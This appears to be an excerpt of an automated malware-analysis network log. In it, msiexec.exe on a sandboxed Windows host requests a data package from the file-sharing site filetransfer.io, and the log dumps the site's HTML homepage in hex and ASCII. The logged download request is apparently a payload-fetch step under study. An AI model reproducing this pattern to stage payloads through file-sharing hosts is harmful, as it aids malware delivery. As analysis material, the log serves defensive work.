30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 Data Ascii: <meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:de
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e Data Ascii: le-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.pn
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: de.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content=
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 Data Ascii: beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelis
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 Data Ascii: ESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXX
2025-01-10 19:14:09 UTC	1360	IN	Data Raw: 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f Data Ascii: e="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:09 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	57918	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:10 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:10 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:10 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BtJEuzjxTih5d8OnGJ2WY%2FBgCkqQHWNhjpCGBCFOFj3EFvRaZbTjSzx163LtnYUnIHtgk16utETi4iUeIVqtnvl7f779q1wCzXqYeALKFNbZR7Mp1kx6QVpH%2FjhBrJ927Yk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd0da8e943ca-EWR
2025-01-10 19:14:10 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	57919	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:10 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:10 UTC	948	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: GmuB87JZP0FLsdYiLSdGo1SAysMG+6fxVdTsTxjELmSC2TSDPBWG4fmBAG3GQTYllZ0IC9aZoYE= x-amz-request-id: WGKZF99TK8PG39JJ Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oP9fbXsYkP02wY0CILR4Z%2BSjiqGU7AGRpPsYOyfhnXpPAVz8fI6gv7lvF05NJqyaUvri0HqMRH0Lf8Sq7W%2Bp21nU3ODiGaKyGmK5fPpJ5iaAy%2BnItmYuv%2BPg%2F2xPZU1eee0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd11b80a42d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1895&min_rtt=1601&rtt_var=1189&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=737932&cwnd=221&unsent_bytes=0&cid=cda8de36d97236f1&ts=252&x=0"
2025-01-10 19:14:10 UTC	421	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 Data Ascii: <meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:desc
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 Data Ascii: -touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 Data Ascii: .png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="w
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c Data Ascii: ginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistL
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 Data Ascii: SAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX
2025-01-10 19:14:10 UTC	1358	IN	Data Raw: 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 Data Ascii: "Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></sp
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
